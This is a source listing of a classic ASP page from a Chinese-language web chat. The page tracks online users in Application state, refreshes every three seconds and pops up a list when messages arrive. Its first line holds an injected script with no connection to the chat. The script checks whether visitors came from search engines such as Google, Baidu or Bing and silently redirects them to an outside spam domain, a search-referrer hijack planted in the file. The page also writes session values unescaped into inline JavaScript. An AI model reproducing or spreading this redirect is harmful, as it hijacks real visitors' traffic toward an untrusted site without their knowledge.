d:\wwwroot\wuchunhua\qq\getdata.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><meta http-equiv="Refresh" content="3">
002:
<%
003:
'页面被设置为每3秒钟刷新一次
004:
'如果Session中的用户信息记录为空
005:
'说明用户还没有登陆
006:
If Session("id")="" Or Session("yourname")="" Or Session("youremail")="" Or Session("yoursex")="" Then
007:
'向页面输出javascript代码
008:
'提示用户
009:
Response.Write "<script Language=""javascript"">"
010:
Response.Write "alert('你的信息丢失,请重新登陆');"
011:
Response.Write "parent.close();"
012:
Response.Write "</script>"
013:
014:
'终止响应
015:
Response.End
016:
End If
017:
018:
'字符串处理函数
019:
Function FormatStr(str)
020:
'将,和|两个字符进行替换
021:
',被用来分割用户各个信息
022:
'|被用来分割不同用户的信息
023:
str=replace(str,",",",")
024:
FormatStr=replace(str,"|","|")
025:
End Function
026:
027:
'变量定义
028:
Dim user_id,user_name,userData,sex
029:
030:
'调用FormatStr函数处理用户信息
031:
user_id=Session("id")
032:
user_id=FormatStr(user_id)
033:
user_name=Session("yourname")
034:
user_name=FormatStr(user_name)
035:
036:
'获得用户信息字符串,各项之间用,隔开
037:
userData=user_id & "," & user_name & "," & now()
038:
userData=userData & "," & FormatStr(Session("youremail")) & "," & Session("yoursex")
039:
user_id=cstr(user_id)
040:
041:
'获得实时在线人数
042:
'变量定义
043:
Dim i,j,temp,tmep1,users,flags
044:
045:
'flags标志初始化为0
046:
flags=0
047:
'Application加锁
048:
Application.lock
049:
050:
'使用|字符对users变量进行分割成各个用户的信息记录
051:
'保存到数组变量中
052:
users=split(Application("Users"),"|")
053:
054:
'显示在线人数
055:
Response.Write "<p align=center><font size=2>" & ubound(users) & "人在线</font>"
056:
057:
'循环处理每一个在线用户
058:
For i=1 To ubound(users)
059:
'使用,字符将用户信息进行分割成用户的各项信息记录
060:
temp=split(users(i),",")
061:
062:
'如果某在线用户ID等于当前用户的ID
063:
'说明用户已经在Application变量记录中
064:
If cstr(temp(0))=user_id Then
065:
'添加更新后的用户信息记录到temp1变量
066:
temp1=temp1 & "|" & userData
067:
068:
'设置标志为1
069:
flags=1
070:
Else
071:
'用户记录在30秒内没有更新过
072:
'那么什么都不做
073:
If cdate(temp(2))<=dateadd("s",-30,now()) Then
074:
Else
075:
'否则,添加用户信息记录到temp1变量
076:
temp1=temp1 & "|" & users(i)
077:
End If
078:
End If
079:
Next
080:
081:
'将在线用户字符串保存到Application中
082:
Application("Users")=temp1
083:
084:
'标志不等于1,则表示该页面用户的信息尚未添加
085:
If flags<>1 Then
086:
'添加正在使用用户的信息到Application中的Users变量
087:
Application("Users")=Application("Users") & "|" & userData
088:
End If
089:
090:
'Application解锁
091:
Application.unlock
092:
093:
'显示消息
094:
'获得给当前用户发送消息的用户ID
095:
Dim flag
096:
097:
'flag标志初始化为0
098:
flag=0
099:
'temp1字符串初始化为空
100:
temp1=""
101:
102:
'如果Application中的Messages变量不为空
103:
If cstr(Application("Messages"))<>"" Then
104:
'使用|符号将Messages变量分割成一条条的消息
105:
messages=split(Application("Messages"),"|")
106:
107:
'循环处理每条消息
108:
For i=1 To ubound(messages)
109:
'使用,符号将每条消息分割成各个组成部分
110:
temp=split(messages(i),",")
111:
112:
'如果消息的接收者为当前用户
113:
If cstr(temp(0))=user_id Then
114:
'设置flag标志为1
115:
flag=1
116:
117:
'将消息发送者的ID加入到发送消息的用户记录中
118:
temp1=temp1 & "|" & temp(1)
119:
End If
120:
Next
121:
End If
122:
123:
'如果标志为1
124:
'说明有发送给当前用户的消息
125:
If flag=1 Then
126:
'调用显示消息函数
127:
List_Message(temp1)
128:
Else
129:
'刷新Session中的times变量
130:
'如果times变量为空,或者在30秒内没有更新过
131:
If Session("times")="" Or Session("times")<=dateadd("s",-30,now()) Then
132:
'以空字符串调用显示消息函数
133:
List_Message("")
134:
'更新Session中的times变量的值
135:
Session("times")=now()
136:
End If
137:
End If
138:
139:
'显示消息的函数
140:
Function List_Message(str)
141:
'向页面输出javascript代码
142:
Response.Write "<script language=""javascript"">"
143:
144:
'如果str参数为空
145:
If str="" Then
146:
'什么都不做
147:
Else
148:
'在新窗口中打开list_user.asp页面,附加参数为信息内容
149:
Response.Write "window.open('list_user.asp?senduserids=" & str & "','list_user','');"
150:
End If
151:
Response.Write "</script>"
152:
End Function
153:
%
>
154:
155: